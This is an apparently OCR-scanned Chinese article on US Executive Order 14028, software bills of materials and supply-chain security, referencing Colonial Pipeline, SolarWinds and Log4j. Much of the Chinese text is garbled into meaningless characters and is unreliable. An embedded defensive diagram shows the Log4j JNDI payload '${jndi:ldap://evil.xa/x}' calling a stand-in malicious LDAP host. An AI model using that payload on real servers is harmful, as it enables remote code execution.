<"'II i
V /F 1 ‘

\ E;I:;k =n L LY

W 2% B SR LR 5
H RS (L FESE I M) IR

& BRTRESRAEBI R — KGR

: % B 48 % EO-14028 17 s 4 A # 4 &K sk @ 4 41 8 & (Software Bill of
. Materials, SBOM) » #it 4 # kbt lid 24 > & HiH30 A R Mt Lo
WA IR 2GR BB R AR AR RAMS BRI o

'%%%mm%m%%g%aﬁgg/ 5 8 £FRAME AT Colonial Pipeline
BHRMBWE  Z2@EAT,EEEIT
R EREEREEE - HERAES
REGREHEEZS  ANRIRSHIRR
BAEEA  ENERREHEKEEEE
RREBRERZ L NBLE BRI
2B -

2020 £ SolarWinds = # - & & &
BHREIRRFEEEREEELRE &
Bk 35 B B AT AN T 32 8P PI# 22 &E KL 8 R 5h
8 0 2021 4 11 A Log4j &R (CVE-2021-
44228) B - BEREHEHEEZEA 400
LBEEFCEBSRMENETE - 12021 4

' 2021 £ 12 B0 BERHEER I ERRERAY Apache Logdj Java BEEREBAITIRE » ERKBERTDERHZHERS - FEBRMK
Minecraft 382 iCloud - Steam FAEAu5  Tenable FHE A 10 FREEREZIFIA ©

P A (BR—AS 145 8 1 PURBLER Colonial Pipeline E#) RIEEH R - EEEMEARZMREE) » (iThome) - 2021 F 5 A 11
H - https://www.ithome.com.tw/news/144342 °

46 BErERT



The log4j JNDI Attack

and how to prevent it

An attacker inserts the JNDI lookup in a The string is passed to log4j log4j interpolates the string and
header field that is likely to be logged. for logging queries the malicious LDAP server.
“” &t ?
GET /test HTTP/1.1 HTTP ${indi:ldap://evil.xa/x} ldap://evil.xa/x
Host: victim.xa
User-Agent: ${jndi:ldap://evil.xa/x} g DISABLE JNDI LOOKUPS
BLOCK WITH WAF
© €) PATCH LOG4)
Attacker Vulnerable Server Vulnerable log4j Malicious LDAP Server
A http://victimxa implementation Idap://evilxa
2
ry —o0— KA o— ﬂl —eo— A
EEEE @ onisasLE LOGY) =
LS ot
€ DisaABLE
REMOTE ? n
CODEBASES
- ‘&t !
public class Malicious implements Serializable { dn:
e javaClassName: Malicious
s“"i;ﬂ{mmu‘ —— javaCodebase: http://evil.xa
javaSerializedData: <...>
}
e The LDAP server responds with directory
}AVIA Flesenahzes[ (or dozvnloads) th? information that contains the malicious
©®® CorceRTen malicious Java class and executes it. Java class
2021 F 11 H Logdj WA FEMH » EREHESHMEEE 2021 F5 R ZERNXHEAT
D40 L BERFCEESHMERETE o (Photo Credit: Colonial Pipeline & %) 22 #1 B T B2 -
GovCERT.CH, https://www.ncsc.gov.ie/emailsfrom/Reports/ ERNEERE SR o (Photo Credit:
Logdj ) Famartin, https://w.wiki/4qej )
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structure Security Agency, CISA) & T & RKpyshe 2 iEZ% QSR AERE
WE - BEEH R ML DIES]  BRREEH WHER WEND B S
=7 B (visibility) + LURFERIRIMR
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* The White House, “Executive Order on Improving the Nation’s Cybersecurity”, May 12, 2021, https://www.whitehouse.gov/briefing-room/
presidential-actions/2021/05/12/executive-order-on-improving-the-nations-cybersecurity.

4 E0-14028 R EE /& FCEB 2 B35 #0F9 (Federal Civilian Executive Branch) * ANESHZL « BRHELIEIEE AL o

CISA, “Executive Order on Improving the Nation’s Cybersecurity”, https://www.cisa.gov/topics/cybersecurity-best-practices/executive-order-
improving-nations-cybersecurity.
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CYBER SAFETY
REVIEW BOARD

EO-14028 T M R UMB L2 HEEERE
g EEAU‘%D%A“BF‘%E,J\#\HEH (Photo
Credit: Homeland Security twitter, https:/twitter.com/
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Federal Government Cybersecurity
Incident & Vulnerability Response
Playbooks

Operational Procedures for Planning and

Conducting Cybersecurity Incident and Vulnerability
R Activities in FCEB Information Systems

EO-14028 1T B an < I 1R /L F it - R
BHEMBERTS —ENEMPISE  WER—
M BARE A A AZE L EE - (Source:
CISA, https://cisa.gov/sites/default/files/2024-03/
Federal_Government_Cybersecurity_Incident_and_
Vulnerability_Response_Playbooks_508C.pdf )

¢ £ 5 E0-14028, Sec. 4. Enhancing Software Supply Chain Security, https:/www.whitehouse.gov/briefing-room/presidential-actions/2021/05/12/exe

cutive-order-on-improving-the-nations-cybersecurity.
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Securing the Software Supply Chain: {} <
Recommended Practices for /
Software Bill of Materials / Product
s Information
Consumption Obtained
Add SBOM
v
Verify SBOM NO
“4
¢
o
[ s ¥ ) q
e
Enduring Security Framework Store SBOM & Use SBOM, including related Risk Score
Poyeer 2029 related metadata in metada, VEX, or CVE data if acceptable for use
CM repository available to create Risk Score case?

o

Procure/
Update & Use

EFEBTR 2208 F 1 AAM " REGBHLERE  BYRFENEERREZR ., » BHERAETRR
BoRE IR EXHRENRBERHNEZENE SBOM EERNREFAHANREZRTEER
MR WEREKBERKRAB > (Source: U.S. D.0.D, https://media.defense.gov/2023/Nov/09/2003338086/-1/-
1/0/SECURING%20THE %20SOF TWARE %20SUPPLY%20CHAIN%20RECOMMENDED%20PRACTICES%20FOR%20
SOFTWARE%20BILL%200F%20MATERIALS%20CONSUMPTION.PDF )

V s (ssom) /

REMEEERMUNEREN " N5
B, BaZXRBAENERAH (com-
ponent) ' E3 /BB EBELER ~ HER A
BNNENTE  IRECTEAEREE
il o CISA ~ B =X % 2 F (National Secu-
rity Agency, NSA) MBI IEREEHAE
( Office of the Director of National Intel-
ligence, ODNI) M — BB ~ AFE
ERV R 2HEZR T /E/NE - A 4E 2023 4 11
B9 BAM "REMESMLIESE « YR
BENEEREZ, » LIARE EO-14028 ¥
BMARNTERESREHEEREL DM E

7

Ko BB ERE TR ERE AR
ELHENREBERNERMNE » WHE
SBOM AR » LUEHE K EEE A ERA
BIRHSHE - 7

EREBUTEER EO-14028 /A2 » HEFT
BUSEPRRIREELKERER » WiEE
SBOM # B &R - JERETHH H
RNELZHEZERRRIE  RAHRISFER
BErRAl - BA SBOM BEAENME H ke
AHANREZRTERENNUR - HRE
BTHRRARERRE  DURERKERS
BEMERESSER G HItKAR
SHEBREMEEERREENERARE -

CISA, “CISA, NSA, and Partners Release New Guidance on Securing the Software Supply Chain”, November, 9, 2023, https://www.cisa.gov/

news-events/alerts/2023/11/09/cisa-nsa-and-partners-release-new-guidance-securing-software-supply-chain.
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